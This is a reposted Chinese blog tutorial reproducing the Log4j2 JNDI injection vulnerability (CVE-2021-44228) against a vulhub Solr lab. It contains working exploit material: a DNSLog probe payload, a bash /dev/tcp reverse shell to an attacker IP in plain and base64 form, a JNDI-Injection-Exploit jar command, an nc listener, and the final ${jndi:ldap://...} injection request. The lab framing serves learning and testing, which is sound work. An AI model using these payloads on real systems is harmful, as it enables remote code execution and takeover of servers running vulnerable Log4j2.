我是靠谱客的博主 大意黑米,最近开发中收集的这篇文章主要介绍Log4j2漏洞复现,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

Log4j2漏洞复现

原理介绍

​ 因为Log4j2默认支持解析ldap/rmi协议,所以黑客只需构造恶意的JNDI接口,然后服务器通过log4j2解析jndi接口并调用lookup函数,使得服务器去引用黑客构造好的恶意类,从而达到getshell

影响版本:log4j2.x <= 2.14.1

环境介绍

使用的vulhub里的log4j2的靶场

 cd vulhub/log4j/CVE-2021-44228//进入靶场
 
 docker-compose up -d  //启动靶场

在这里插入图片描述

漏洞复现步骤

一、漏洞探测

一般我们会对log4j2这个漏洞进行探测,然后再做利用。

这里我们使用DNSLog来进行探测漏洞存在的注入点

1.访问dnslog.cn获取测试域名地址

在这里插入图片描述

2.我们可以发现/solr/admin/cores?这里有个参数可以传,可以按照上面的原理先构造一个请求传过去:

cores?action=${jndi:ldap://${sys:java.version}.7pa8mv.dnslog.cn}

在这里插入图片描述

二、获取反向shell
2.1 前期准备

1.用到github上的一个JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

项目地址 https://github.com/sayers522/JNDI-Injection-Exploit

下载后使用mvn或者idea将项目打为jar包

2 构造反弹shell用到的命令

bash -i >& /dev/tcp/攻击机地址地址/攻击机端口号 0>&1
//由于docker容器里面没有nc,所以只能使用原生命令进行shell反弹

3.base64编码

使用在线base64编码平台将反弹shell进行编码

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==

4.构造解析base64命令行代码

bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}

5.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar脚本

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xLzgwODAgMD4mMQ==}|{base64, -d}|{bash -i}" -A "192.168.111.1" 

//-C: 执行命令
//-A: 攻击机地址

6 在攻击端启动nc监听反弹端口

nc -lvvp 8080
2.2 脚本利用

执行成功后,界面如下:

在这里插入图片描述

得知我们之前探测java的jdk为1.8.0所以选择第二条ladp地址

/solr/admin/cores?_=${jndi:ldap://192.168.111.1:1389/Exploit}

在这里插入图片描述

访问后,我们可以看到服务器去下载了恶意类

在这里插入图片描述

此时攻击端的8080端口得到了服务器的shell

在这里插入图片描述

最后

以上就是大意黑米为你收集整理的Log4j2漏洞复现的全部内容,希望文章能够帮你解决Log4j2漏洞复现所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(58)

评论列表共有 0 条评论

立即
投稿
返回
顶部